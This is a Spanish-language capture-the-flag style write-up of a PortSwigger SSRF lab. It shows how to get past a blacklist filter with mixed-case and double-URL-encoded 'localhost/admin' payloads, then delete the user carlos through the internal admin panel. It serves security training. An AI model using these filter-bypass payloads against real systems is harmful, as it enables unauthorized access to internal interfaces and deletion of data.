Blog/SSRF with blacklist-based input filter
SSRF with blacklist-based input filter
Portswigger › Portswigger Labs › SSRF

Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio tiene una función de verificación de inventario que obtiene datos de un sistema interno. Para resolver el laboratorio, debemos cambiar la URL de verificación de inventario para acceder a la interfaz de administración en http://localhost/admin y eliminar al usuario Carlos. El desarrollador ha implementado dos medidas defensivas débiles contra SSRF que necesitaremos eludir
Guía de SSRF
Antes de completar este laboratorio es recomendable leerse esta guía de SSRF https://justice-reaper.github.io/posts/SSRF-Guide/
Resolución
Al acceder a la web nos sale esto

Pulsamos en View details y vemos la descripción del producto

Hacemos click sobre la función Check stock y capturamos la petición con Burpsuite

Esta función está enviando estos datos por POST
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1
Nos dirigimos a Burpsuite Collaborator hacemos click en Copy to clipboard y vemos que se está haciendo una petición a una url vamos a ver si nos llega a nosotros esa petición
stockApi=http://l1nvttjpdegib5zaazzc93buslycm3as.oastify.com
Efectivamente nos llega una petición en Burpsuite Collaborator

Si mandamos un petición con este payload nos lo bloquea y nos muestra el mensaje de External stock check blocked for security reasons
stockApi=http://localhost/admin
De esta forma evitamos las medidas defensivas contra SSRF
stockApi=http://LoCaLHost/AdMIn
También podemos ofuscar el payload urlencodeandolo dos veces
stockApi=http://%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%36%38%25%36%66%25%37%33%25%37%34/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
Hacemos click derecho y seleccionamos una de las dos opciones
![]()
Vemos que estamos ante un panel administrativo

Si pulsamos Delete para borrar al usuario carlos no nos dejará, debido a que no estamos logueados como usuario administrador

Para poder eliminarlo debemos usar el SSRF
stockApi=http://LOCaLhOsT/AdMIN/dELeTe?username=carlos